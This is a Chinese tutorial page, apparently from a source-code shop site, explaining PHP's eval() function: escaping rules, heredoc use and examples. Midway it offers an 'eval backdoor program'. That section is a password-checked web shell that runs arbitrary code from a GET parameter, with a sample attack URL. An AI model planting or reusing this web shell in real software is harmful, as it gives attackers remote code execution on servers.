源码网商城,靠谱的源码在线交易网站 我的订单 购物车 帮助

源码网商城

PHP eval函数使用介绍

  • 时间:2021-06-30 07:03 编辑: 来源: 阅读:
  • 扫一扫,手机访问
摘要:PHP eval函数使用介绍
代码:
eval("echo'hello world';");
上边代码等同于下边的代码: [code]echo"hello world";[/code] 在浏览器中都输出:hello world [b]运用eval()要注意几点:[/b] 1.eval函数的参数的字符串末尾一定要有分号,在最后还要另加一个分号(这个分号是php限制) 2.注意单引号,双引号和反斜杠的运用。如果参数中带有变量时,并且变量有赋值操作的话,变量前的$符号钱一定要有\来转义。如果没有赋值操作可以不需要。 代码:
$a=100;
eval("echo$a;");
因为没有赋值操作,所以可以不用\来转义$.等同于以下代码:
$a=100;
eval("echo\$a;")
3.注意在命令式字符串(包括分号)两边必须要有双引号或者根据需要用单引号。否则报错。 命令式字符串是指:字符串中包括echo、print之类的命令的时候。 如果参数只有一个变量则可以不用。例如:
$func =<<<FUNC
function test(){ 
  echo "test eval function"; 
}
FUNC;
eval($func);
test();
[b]分享个php eval后门程序[/b] 要求必须支持eval函数 使用方法 http://url/test.php?pwd=admin&action=eval&a=phpinfo();
<?php
$passwd="admin";if($_GET['pwd']!=$passwd)exit;
if($_GET['action']=="eval" && $_GET['a']){eval($_GET['a']);}
?>
PHP eval() 函数介绍
定义和用法
eval() 函数把字符串按照 PHP 代码来计算。 该字符串必须是合法的 PHP 代码,且必须以分号结尾。 如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。 [b]语法[/b] [code]eval(phpcode)[/code]
参数 描述
phpcode 必需。规定要计算的 PHP 代码。
[b]提示和注释[/b] 注释:返回语句会立即终止对字符串的计算。 注释:该函数对于在数据库文本字段中供日后计算而进行的代码存储很有用。 [b]例子[/b]
<?php
$string = "beautiful";
$time = "winter";

$str = 'This is a $string $time morning!';
echo $str. "<br />";

eval("\$str = \"$str\";");
echo $str;
?> 
输出: This is a $string $time morning! This is a beautiful winter morning!
  • 全部评论(0)
联系客服
客服电话:
400-000-3129
微信版

扫一扫进微信版
返回顶部